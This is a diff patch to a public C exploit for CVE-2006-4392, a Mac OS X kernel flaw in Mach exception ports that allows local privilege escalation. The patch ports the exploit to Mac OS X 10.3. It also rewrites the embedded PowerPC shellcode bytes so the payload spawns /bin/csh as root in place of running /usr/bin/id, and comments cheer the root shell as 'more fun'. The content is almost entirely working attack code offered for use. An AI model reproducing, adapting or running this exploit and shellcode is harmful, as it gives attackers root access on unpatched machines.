--- excploit.c 2006-09-30 18:48:11.000000000 -0400 +++ /Volumes/MemStick/excploit.c 2006-09-30 18:49:00.000000000 -0400 @@ -22,7 +22,29 @@ * Greetings to Scrippie and #vuln * */ - +/* + * http://docs.info.apple.com/article.html?artnum=304460 + * + * Kernel + * CVE-ID: CVE-2006-4392 + * Available for: Mac OS X v10.4 through Mac OS X v10.4.7, Mac OS X Server v10.4 through Mac OS X Server v10.4.7 + * Impact: Local users may be able to run arbitrary code with raised privileges + * Description: An error handling mechanism in the kernel, known as Mach exception ports, provides the ability + * to control programs when certain types of errors are encountered. Malicious local users could use this mechanism + * to execute arbitrary code in privileged programs if an error is encountered. This update addresses the issue by + * restricting access to Mach exception ports for privileged programs. Credit to Dino Dai Zovi of Matasano Security + * for reporting this issue. + * + * did you guys really forget to patch 10.3 ? + * I know the original exploit didn't compile there but comon guys. + * + * This is a patch for http://www.milw0rm.com/exploits/2463 + * http://cds.xs4all.nl:8081/tmp/excploit.c + * Dropped in http://blogs.23.nu/ilja/ on Sept 21 2006 + * + * - KF + */ +#include // One liner to make it compile on 10.3.X #include #include #include @@ -56,8 +78,8 @@ 0x38000017, 0x44000002, 0x60000000, 0x38600000, 0x380000b5, 0x44000002, 0x60000000, 0x38650068, 0x38850074, 0x90640000, 0x3800003b, 0x44000002, - 0x60000000, 0x38000001, 0x44000002, 0x2f757372, - 0x2f62696e, 0x2f696400, 0x00000000, 0x00000000, + 0x60000000, 0x38000001, 0x44000002, 0x2f2f2f62, // /bin/csh is more fun than /usr/bin/id + 0x696e2f63, 0x73680000, 0x00000000, 0x00000000, }; kern_return_t catch_exception_raise_state_identity(mach_port_t exc, thread_t t,